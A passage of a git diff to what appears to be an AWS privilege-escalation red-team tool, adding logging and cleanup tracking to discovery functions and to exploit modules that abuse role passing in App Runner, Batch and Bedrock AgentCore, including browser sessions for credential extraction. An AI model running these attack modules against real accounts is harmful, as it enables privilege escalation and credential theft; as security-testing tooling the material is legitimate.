DiscoverIAMRoles(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverIAMRoles(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + iamClient := iam.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() var allRoles []iamtypes.Role + loggedOnce := false paginator := iam.NewListRolesPaginator(iamClient, &iam.ListRolesInput{}) for paginator.HasMorePages() { page, err := paginator.NextPage(listCtx) @@ -937,6 +1033,10 @@ func DiscoverIAMRoles(ctx context.Context, config aws.Config) ([]modules.Discove } return nil, fmt.Errorf("failed to list roles: %v", err) } + if log != nil && !loggedOnce { + log.LogAWSCall("iam", "ListRoles", config.Region, "Enumerated IAM roles for discovery", nil) + loggedOnce = true + } allRoles = append(allRoles, page.Roles...) } @@ -998,13 +1098,19 @@ func DiscoverIAMRoles(ctx context.Context, config aws.Config) ([]modules.Discove // This distinguishes execution roles from administration roles, which trust // cloudformation.amazonaws.com and the account root (":root") instead of a specific role ARN. // Returns role names (not ARNs) since CloudFormation's ExecutionRoleName API field expects names. -func DiscoverCFNStackSetExecutionRoles(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverCFNStackSetExecutionRoles(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := iam.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() var allRoles []iamtypes.Role + loggedOnce := false paginator := iam.NewListRolesPaginator(client, &iam.ListRolesInput{}) for paginator.HasMorePages() { page, err := paginator.NextPage(listCtx) @@ -1014,6 +1120,10 @@ func DiscoverCFNStackSetExecutionRoles(ctx context.Context, config aws.Config) ( } return nil, fmt.Errorf("failed to list roles: %v", err) } + if log != nil && !loggedOnce { + log.LogAWSCall("iam", "ListRoles", config.Region, "Enumerated IAM roles to find CloudFormation StackSet execution roles", nil) + loggedOnce = true + } allRoles = append(allRoles, page.Roles...) } @@ -1075,13 +1185,19 @@ func DiscoverCFNStackSetExecutionRoles(ctx context.Context, config aws.Config) ( // an execution role when the administration role ARN is already known: the execution role's // trust policy must contain the administration role's ARN as an AWS principal. // Returns role names (not ARNs) since CloudFormation's ExecutionRoleName API field expects names. -func DiscoverCFNExecutionRoleForAdminRole(ctx context.Context, config aws.Config, adminRoleARN string) ([]modules.DiscoveryChoice, error) { +func DiscoverCFNExecutionRoleForAdminRole(ctx context.Context, config aws.Config, adminRoleARN string, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := iam.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() var allRoles []iamtypes.Role + loggedOnce := false paginator := iam.NewListRolesPaginator(client, &iam.ListRolesInput{}) for paginator.HasMorePages() { page, err := paginator.NextPage(listCtx) @@ -1091,6 +1207,12 @@ func DiscoverCFNExecutionRoleForAdminRole(ctx context.Context, config aws.Config } return nil, fmt.Errorf("failed to list roles: %v", err) } + if log != nil && !loggedOnce { + log.LogAWSCall("iam", "ListRoles", config.Region, + fmt.Sprintf("Enumerated IAM roles to find StackSet execution role for admin role %s", adminRoleARN), + map[string]string{"admin_role_arn": adminRoleARN}) + loggedOnce = true + } allRoles = append(allRoles, page.Roles...) } diff --git a/pkg/discovery/lambda.go b/pkg/discovery/lambda.go index aab0599..071d808 100644 --- a/pkg/discovery/lambda.go +++ b/pkg/discovery/lambda.go @@ -28,7 +28,12 @@ type LambdaFunctionInfo struct { // DiscoverLambdaFunctions lists Lambda functions and enriches them with // execution role information. Returns choices with function names as values. -func DiscoverLambdaFunctions(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverLambdaFunctions(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + lambdaClient := lambda.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) @@ -41,6 +46,9 @@ func DiscoverLambdaFunctions(ctx context.Context, config aws.Config) ([]modules. } return nil, fmt.Errorf("failed to list Lambda functions: %v", err) } + if log != nil { + log.LogAWSCall("lambda", "ListFunctions", config.Region, "Enumerated Lambda functions for discovery", nil) + } var choices []modules.DiscoveryChoice for _, fn := range result.Functions { diff --git a/pkg/discovery/s3.go b/pkg/discovery/s3.go index 3ee6391..1ab9c98 100644 --- a/pkg/discovery/s3.go +++ b/pkg/discovery/s3.go @@ -16,7 +16,12 @@ import ( // DiscoverS3Buckets lists S3 buckets accessible to the current identity. // Returns choices with bucket names as values. -func DiscoverS3Buckets(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverS3Buckets(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := s3.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) @@ -29,6 +34,9 @@ func DiscoverS3Buckets(ctx context.Context, config aws.Config) ([]modules.Discov } return nil, fmt.Errorf("failed to list S3 buckets: %v", err) } + if log != nil { + log.LogAWSCall("s3", "ListAllMyBuckets", config.Region, "Enumerated S3 buckets for discovery", nil) + } if len(result.Buckets) == 0 { return nil, nil diff --git a/pkg/exploits/apprunner_passrole/module.go b/pkg/exploits/apprunner_passrole/module.go index 770aa41..d1bbce6 100644 --- a/pkg/exploits/apprunner_passrole/module.go +++ b/pkg/exploits/apprunner_passrole/module.go @@ -106,7 +106,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "tasks.apprunner.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "tasks.apprunner.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -157,6 +157,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -265,6 +266,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { serviceArn := aws.ToString(createResult.Service.ServiceArn) fmt.Printf("App Runner service created: %s\n", serviceArn) + if logger != nil { + logger.LogAWSCall("apprunner", "CreateService", region, + fmt.Sprintf("Created App Runner service %s with instance role %s", serviceName, roleArn), + map[string]string{"service_arn": serviceArn, "role_arn": roleArn, "payload": payloadType}) + } // Track the created service for cleanup. if tracker != nil { diff --git a/pkg/exploits/apprunner_updateservice/module.go b/pkg/exploits/apprunner_updateservice/module.go index 74f97ca..2be90e6 100644 --- a/pkg/exploits/apprunner_updateservice/module.go +++ b/pkg/exploits/apprunner_updateservice/module.go @@ -196,6 +196,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger serviceArn := options["SERVICE_ARN"] payloadType := options["PAYLOAD"] @@ -325,6 +326,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Printf("Service name: %s\n", serviceName) fmt.Printf("Instance role ARN: %s\n", instanceRoleArn) + if logger != nil { + logger.LogAWSCall("apprunner", "DescribeService", region, + fmt.Sprintf("Retrieved configuration for App Runner service %s (instance role: %s)", serviceName, instanceRoleArn), + map[string]string{"service_arn": serviceArn}) + } // Back up the original source configuration for restoration. originalSourceConfig := service.SourceConfiguration @@ -362,6 +368,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to update App Runner service: %v", err) } fmt.Println("App Runner service update initiated. Service will redeploy with the exploit configuration.") + if logger != nil { + logger.LogAWSCall("apprunner", "UpdateService", region, + fmt.Sprintf("Updated App Runner service %s to execute exploit payload via StartCommand", serviceName), + map[string]string{"service_arn": serviceArn, "payload": payloadType, "instance_role": instanceRoleArn}) + } // Step 3: Poll until service reaches RUNNING. // Demo timing: 15s poll interval, 420s max (demo_attack.sh MAX_WAIT=420). @@ -426,6 +437,20 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { } else { fmt.Printf("Service '%s' left with exploit configuration (CLEANUP=false).\n", serviceName) fmt.Printf("To restore original config: aws apprunner update-service --service-arn %s --region %s\n", serviceArn, region) + if tracker != nil { + tracker.TrackResource(modules.CreatedResource{ + Type: "apprunner:service-update", + Name: serviceName, + ARN: serviceArn, + Region: region, + CleanupMethod: "apprunner:UpdateService", + ModuleID: "apprunner-002", + Metadata: map[string]string{ + "service_arn": serviceArn, + "service_name": serviceName, + }, + }) + } } // Build result. diff --git a/pkg/exploits/batch_passrole_createcomputeenvironment_createjobqueue_registerjobdefinition_submitjob/module.go b/pkg/exploits/batch_passrole_createcomputeenvironment_createjobqueue_registerjobdefinition_submitjob/module.go index 1876074..0393c30 100644 --- a/pkg/exploits/batch_passrole_createcomputeenvironment_createjobqueue_registerjobdefinition_submitjob/module.go +++ b/pkg/exploits/batch_passrole_createcomputeenvironment_createjobqueue_registerjobdefinition_submitjob/module.go @@ -127,12 +127,12 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ADMIN_ROLE_ARN": // Batch jobs run as ECS tasks, so the jobRoleArn must trust ecs-tasks.amazonaws.com. - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) case "EXECUTION_ROLE_ARN": // The execution role must also trust ecs-tasks.amazonaws.com (Fargate pulls images as ECS tasks). - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) case "SUBNET_ID": - choices, err := discovery.DiscoverSubnets(context.Background(), config) + choices, err := discovery.DiscoverSubnets(context.Background(), config, m.DiscoveryLogger) if err != nil { return nil, err } @@ -144,7 +144,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current } return choices, nil case "SECURITY_GROUP_ID": - choices, err := discovery.DiscoverSecurityGroups(context.Background(), config) + choices, err := discovery.DiscoverSecurityGroups(context.Background(), config, m.DiscoveryLogger) if err != nil { return nil, err } @@ -264,6 +264,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger adminRoleArn := options["ADMIN_ROLE_ARN"] executionRoleArn := options["EXECUTION_ROLE_ARN"] @@ -386,6 +387,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { computeEnvArn := aws.ToString(createCEOutput.ComputeEnvironmentArn) fmt.Printf("Compute environment created: %s\n", computeEnvArn) + if logger != nil { + logger.LogAWSCall("batch", "CreateComputeEnvironment", config.Region, + fmt.Sprintf("Created Fargate compute environment %s with role passthrough", computeEnvName), + map[string]string{"compute_environment_name": computeEnvName, "admin_role_arn": adminRoleArn}) + } if tracker != nil { tracker.TrackResource(modules.CreatedResource{ @@ -441,6 +447,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { jobQueueArn := aws.ToString(createJQOutput.JobQueueArn) fmt.Printf("Job queue created: %s\n", jobQueueArn) + if logger != nil { + logger.LogAWSCall("batch", "CreateJobQueue", config.Region, + fmt.Sprintf("Created job queue %s wired to compute environment %s", jobQueueName, computeEnvName), + map[string]string{"job_queue_name": jobQueueName}) + } if tracker != nil { tracker.TrackResource(modules.CreatedResource{ @@ -504,6 +515,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { jobDefArn := aws.ToString(registerOutput.JobDefinitionArn) jobDefRevision := aws.ToInt32(registerOutput.Revision) fmt.Printf("Job definition registered: %s (revision %d)\n", jobDefArn, jobDefRevision) + if logger != nil { + logger.LogAWSCall("batch", "RegisterJobDefinition", config.Region, + fmt.Sprintf("Registered job definition %s with admin role %s as jobRoleArn", jobDefName, adminRoleArn), + map[string]string{"job_definition_name": jobDefName, "admin_role_arn": adminRoleArn}) + } if tracker != nil { tracker.TrackResource(modules.CreatedResource{ @@ -542,6 +558,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { jobID := aws.ToString(submitOutput.JobId) fmt.Printf("Batch job submitted: %s\n", jobID) + if logger != nil { + logger.LogAWSCall("batch", "SubmitJob", config.Region, + fmt.Sprintf("Submitted job %s to queue %s to execute payload %s", jobName, jobQueueName, payloadType), + map[string]string{"job_id": jobID, "job_name": jobName, "job_queue": jobQueueName}) + } // Step 9: Poll for job completion. fmt.Println("Polling for Batch job completion (15s interval, max 6 minutes)...") diff --git a/pkg/exploits/batch_passrole_registerjobdefinition_submitjob/module.go b/pkg/exploits/batch_passrole_registerjobdefinition_submitjob/module.go index a766f43..1206c42 100644 --- a/pkg/exploits/batch_passrole_registerjobdefinition_submitjob/module.go +++ b/pkg/exploits/batch_passrole_registerjobdefinition_submitjob/module.go @@ -115,13 +115,13 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "JOB_QUEUE": - return discovery.DiscoverBatchJobQueues(context.Background(), config) + return discovery.DiscoverBatchJobQueues(context.Background(), config, m.DiscoveryLogger) case "ADMIN_ROLE_ARN": // Batch jobs run as ECS tasks, so the jobRoleArn must trust ecs-tasks.amazonaws.com. - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) case "EXECUTION_ROLE_ARN": // The execution role must also trust ecs-tasks.amazonaws.com (Fargate pulls images as ECS tasks). - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -210,6 +210,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger adminRoleArn := options["ADMIN_ROLE_ARN"] executionRoleArn := options["EXECUTION_ROLE_ARN"] @@ -330,6 +331,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { jobDefArn := aws.ToString(registerOutput.JobDefinitionArn) jobDefRevision := aws.ToInt32(registerOutput.Revision) fmt.Printf("Job definition registered: %s (revision %d)\n", jobDefArn, jobDefRevision) + if logger != nil { + logger.LogAWSCall("batch", "RegisterJobDefinition", config.Region, + fmt.Sprintf("Registered job definition %s with admin role %s as jobRoleArn", jobDefName, adminRoleArn), + map[string]string{"job_definition_name": jobDefName, "admin_role_arn": adminRoleArn}) + } // Track the job definition for workspace cleanup. if tracker != nil { @@ -371,6 +377,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { jobID := aws.ToString(submitOutput.JobId) fmt.Printf("Batch job submitted: %s\n", jobID) + if logger != nil { + logger.LogAWSCall("batch", "SubmitJob", config.Region, + fmt.Sprintf("Submitted job %s to queue %s to execute payload %s", jobName, jobQueue, payloadType), + map[string]string{"job_id": jobID, "job_queue": jobQueue}) + } // Step 5: Poll for job completion. // From demo_attack.sh: POLL_INTERVAL=15, MAX_WAIT=360 (6 minutes). diff --git a/pkg/exploits/batch_submitjob/module.go b/pkg/exploits/batch_submitjob/module.go index 99ca77b..e05cfe2 100644 --- a/pkg/exploits/batch_submitjob/module.go +++ b/pkg/exploits/batch_submitjob/module.go @@ -109,9 +109,9 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "JOB_DEFINITION": - return discovery.DiscoverBatchJobDefinitions(context.Background(), config) + return discovery.DiscoverBatchJobDefinitions(context.Background(), config, m.DiscoveryLogger) case "JOB_QUEUE": - return discovery.DiscoverBatchJobQueues(context.Background(), config) + return discovery.DiscoverBatchJobQueues(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -176,6 +176,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger jobDefinition := options["JOB_DEFINITION"] jobQueue := options["JOB_QUEUE"] @@ -270,6 +271,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { jobID := aws.ToString(submitOutput.JobId) fmt.Printf("Batch job submitted: %s\n", jobID) + if logger != nil { + logger.LogAWSCall("batch", "SubmitJob", config.Region, + fmt.Sprintf("Submitted Batch job %s to queue %s using definition %s with ContainerOverrides to execute payload", jobName, jobQueue, jobDefinition), + map[string]string{"job_id": jobID, "job_name": jobName, "job_definition": jobDefinition, "job_queue": jobQueue, "payload": payloadType}) + } // Step 5: Poll for job completion. // From demo_attack.sh: 30s interval, max 600s (10 minutes). diff --git a/pkg/exploits/bedrock_createbrowser_cdp/module.go b/pkg/exploits/bedrock_createbrowser_cdp/module.go index fe041d7..dd6afb5 100644 --- a/pkg/exploits/bedrock_createbrowser_cdp/module.go +++ b/pkg/exploits/bedrock_createbrowser_cdp/module.go @@ -199,7 +199,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "bedrock-agentcore.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "bedrock-agentcore.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -226,6 +226,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger executionRoleARN := options["ROLE_ARN"] if executionRoleARN == "" { @@ -292,6 +293,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { browserID := aws.ToString(createOut.BrowserId) browserARN := aws.ToString(createOut.BrowserArn) fmt.Printf("Browser created: %s\n", browserID) + if logger != nil { + logger.LogAWSCall("bedrock-agentcore", "CreateBrowser", region, + fmt.Sprintf("Created AgentCore Custom Browser %s with execution role %s", browserName, executionRoleARN), + map[string]string{"browser_id": browserID, "browser_arn": browserARN, "execution_role": executionRoleARN}) + } // ------------------------------------------------------------------------- // Step 2: Track the browser immediately. @@ -376,6 +382,11 @@ ready: fmt.Printf("Session ID : %s\n", sessionID) fmt.Printf("WebSocket URL: %s...\n", truncate(wsURL, 80)) + if logger != nil { + logger.LogAWSCall("bedrock-agentcore", "StartBrowserSession", region, + fmt.Sprintf("Started browser session on AgentCore Custom Browser %s to obtain CDP WebSocket URL for credential extraction", browserID), + map[string]string{"browser_id": browserID, "session_id": sessionID}) + } // ------------------------------------------------------------------------- // Step 5: Write the Playwright Python script to a temp file. diff --git a/pkg/exploits/bedrock_invokeagentruntime/module.go b/pkg/exploits/bedrock_invokeagentruntime/module.go index 1b57e1e..e9e4f8f 100644 --- a/pkg/exploits/bedrock_invokeagentruntime/module.go +++ b/pkg/exploits/bedrock_invokeagentruntime/module.go @@ -163,7 +163,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "TARGET_RUNTIME_ARN": - return discovery.DiscoverBedrockAgentRuntimes(context.Background(), config) + return discovery.DiscoverBedrockAgentRuntimes(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -178,6 +178,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options + logger := ectx.Logger targetRuntimeARN := options["TARGET_RUNTIME_ARN"] if targetRuntimeARN == "" { @@ -244,6 +245,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { } fmt.Println("Payload executed — processing output...") + if logger != nil { + logger.LogAWSCall("bedrock-agentcore", "InvokeAgentRuntimeCommand", region, + fmt.Sprintf("Invoked AgentCore runtime %s with payload %s", targetRuntimeARN, payloadType), + map[string]string{"target_runtime_arn": targetRuntimeARN, "payload": payloadType}) + } return payload.ProcessResult(rawOutput) } diff --git a/pkg/exploits/bedrock_passrole_codeinterpreter/module.go b/pkg/exploits/bedrock_passrole_codeinterpreter/module.go index 2d95ddb..fb2b0af 100644 --- a/pkg/exploits/bedrock_passrole_codeinterpreter/module.go +++ b/pkg/exploits/bedrock_passrole_codeinterpreter/module.go @@ -181,7 +181,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "bedrock-agentcore.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "bedrock-agentcore.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -201,6 +201,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger executionRoleARN := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -279,6 +280,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { interpreterARN := aws.ToString(createOutput.CodeInterpreterArn) fmt.Printf("Code interpreter created: %s\n", interpreterID) + if logger != nil { + logger.LogAWSCall("bedrock-agentcore", "CreateCodeInterpreter", region, + fmt.Sprintf("Created Bedrock AgentCore code interpreter %s with execution role %s", interpreterName, executionRoleARN), + map[string]string{"interpreter_id": interpreterID, "interpreter_arn": interpreterARN, "execution_role": executionRoleARN, "payload": payloadType}) + } // Track the code interpreter for cleanup. if tracker != nil { @@ -287,12 +293,13 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { Name: interpreterName, ARN: interpreterARN, Region: region, + Created: time.Now(), CleanupMethod: "bedrock-agentcore-control:DeleteCodeInterpreter", ModuleID: "bedrock-001", Metadata: map[string]string{ - "interpreter_id": interpreterID, - "execution_role": executionRoleARN, - "payload_type": payloadType, + "interpreter_id": interpreterID, + "execution_role": executionRoleARN, + "payload_type": payloadType, }, } tracker.TrackResource(resource) @@ -324,6 +331,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { sessionID := aws.ToString(sessionOutput.SessionId) fmt.Printf("Session started: %s\n", sessionID) + if logger != nil { + logger.LogAWSCall("bedrock-agentcore", "StartCodeInterpreterSession", region, + fmt.Sprintf("Started session on code interpreter %s to invoke payload code inside Firecracker microVM", interpreterID), + map[string]string{"interpreter_id": interpreterID, "session_id": sessionID}) + } // Step 4: Invoke the payload's Python code inside the interpreter. fmt.Printf("Invoking payload '%s' inside code interpreter...\n", payloadType) @@ -340,6 +352,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to invoke code interpreter: %v", err) } + if logger != nil { + logger.LogAWSCall("bedrock-agentcore", "InvokeCodeInterpreter", region, + fmt.Sprintf("Invoked payload code inside Bedrock code interpreter %s to execute under execution role permissions", interpreterID), + map[string]string{"interpreter_id": interpreterID, "session_id": sessionID, "payload": payloadType}) + } // Step 5: Collect stdout from the event stream. stdout, invokeErr := collectInterpreterStdout(invokeOutput) diff --git a/pkg/exploits/bedrock_passrole_createagentruntime/module.go b/pkg/exploits/bedrock_passrole_createagentruntime/module.go index 20fcb2d..e82d01b 100644 --- a/pkg/exploits/bedrock_passrole_createagentruntime/module.go +++ b/pkg/exploits/bedrock_passrole_createagentruntime/module.go @@ -205,7 +205,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "EXECUTION_ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "bedrock-agentcore.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "bedrock-agentcore.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -232,6 +232,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger executionRoleARN := options["EXECUTION_ROLE_ARN"] if executionRoleARN == "" { @@ -364,6 +365,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Printf("Runtime ARN : %s\n", runtimeARN) fmt.Printf("Runtime ID : %s\n", runtimeID) + if logger != nil { + logger.LogAWSCall("bedrock-agentcore-control", "CreateAgentRuntime", region, + fmt.Sprintf("Created AgentCore runtime %s with execution role %s", runtimeName, executionRoleARN), + map[string]string{"runtime_name": runtimeName, "runtime_arn": runtimeARN, "execution_role_arn": executionRoleARN}) + } // Track the runtime for workspace cleanup. if tracker != nil { @@ -461,6 +467,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("InvokeAgentRuntimeCommand failed: %v", err) } + if logger != nil { + logger.LogAWSCall("bedrock-agentcore", "InvokeAgentRuntimeCommand", region, + fmt.Sprintf("Invoked AgentCore runtime %s with payload %s to execute as execution role", runtimeName, payloadType), + map[string]string{"runtime_arn": runtimeARN, "runtime_name": runtimeName, "payload": payloadType}) + } // Collect stdout chunks from the event stream. stream := invokeOutput.GetStream() diff --git a/pkg/exploits/bedrock_passrole_createharness/module.go b/pkg/exploits/bedrock_passrole_createharness/module.go index 19cbb63..c19fdd5 100644 --- a/pkg/exploits/bedrock_passrole_createharness/module.go +++ b/pkg/exploits/bedrock_passrole_createharness/module.go @@ -203,7 +203,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "bedrock-agentcore.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "bedrock-agentcore.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -228,6 +228,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger executionRoleARN := options["ROLE_ARN"] if executionRoleARN == "" { @@ -330,6 +331,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Printf("Harness ARN : %s\n", harnessARN) fmt.Printf("Harness ID : %s\n", harnessID) + if logger != nil { + logger.LogAWSCall("bedrock-agentcore", "CreateHarness", region, + fmt.Sprintf("Created AgentCore Harness %s with execution role %s", harnessName, executionRoleARN), + map[string]string{"harness_id": harnessID, "harness_arn": harnessARN, "execution_role": executionRoleARN, "payload": payloadType}) + } // Track the harness for workspace cleanup. if tracker != nil { @@ -427,6 +433,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("InvokeAgentRuntimeCommand failed: %v", err) } + if logger != nil { + logger.LogAWSCall("bedrock-agentcore", "InvokeAgentRuntimeCommand", region, + fmt.Sprintf("Invoked shell command on AgentCore Harness %s to execute payload under execution role permissions", harnessID), + map[string]string{"harness_id": harnessID, "payload": payloadType}) + } // Collect stdout chunks from the event stream. stream := invokeOutput.GetStream() diff --git a/pkg/exploits/bedrock_startbrowsersession_cdp/module.go b/pkg/exploits/bedrock_startbrowsersession_cdp/module.go index 2ff2a15..f89ab87 100644 --- a/pkg/exploits/bedrock_startbrowsersession_cdp/module.go +++ b/pkg/exploits/bedrock_startbrowsersession_cdp/module.go @@ -336,6 +336,7 @@ func (m *Module) Options() []modules.Option { func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options + logger := ectx.Logger browserID := options["BROWSER_ID"] if browserID == "" { @@ -386,6 +387,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Printf("Browser session started (session ID: %s)\n", sessionID) fmt.Printf("CDP WebSocket URL obtained (length: %d chars)\n", len(wsURL)) + if logger != nil { + logger.LogAWSCall("bedrock-agentcore", "StartBrowserSession", region, + fmt.Sprintf("Started browser session on existing AgentCore Custom Browser %s to obtain CDP WebSocket URL for credential extraction", browserID), + map[string]string{"browser_id": browserID, "session_id": sessionID}) + } // --- Step 2: Write the Python extraction script to a temp file --- scriptFile, err := os.CreateTemp("", "pathrunner-bedrock-007-*.py") diff --git a/pkg/exploits/bedrock_startsession_invoke/module.go b/pkg/exploits/bedrock_startsession_invoke/module.go index 1155f52..9288c0b 100644 --- a/pkg/exploits/bedrock_startsession_invoke/module.go +++ b/pkg/exploits/bedrock_startsession_invoke/module.go @@ -213,6 +213,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options + logger := ectx.Logger interpreterID := options["INTERPRETER_ID"] if interpreterID == "" { @@ -276,6 +277,14 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { } fmt.Println("Payload executed — processing output...") + if logger != nil { + logger.LogAWSCall("bedrock-agentcore", "StartCodeInterpreterSession", region, + fmt.Sprintf("Started session on existing Bedrock code interpreter %s", interpreterID), + map[string]string{"interpreter_id": interpreterID, "payload": payloadType}) + logger.LogAWSCall("bedrock-agentcore", "InvokeCodeInterpreter", region, + fmt.Sprintf("Invoked payload code inside Bedrock code interpreter %s to execute under execution role permissions", interpreterID), + map[string]string{"interpreter_id": interpreterID, "payload": payloadType}) + } return payload.ProcessResult(rawOutput) } diff --git a/pkg/exploits/braket_passrole/module.go 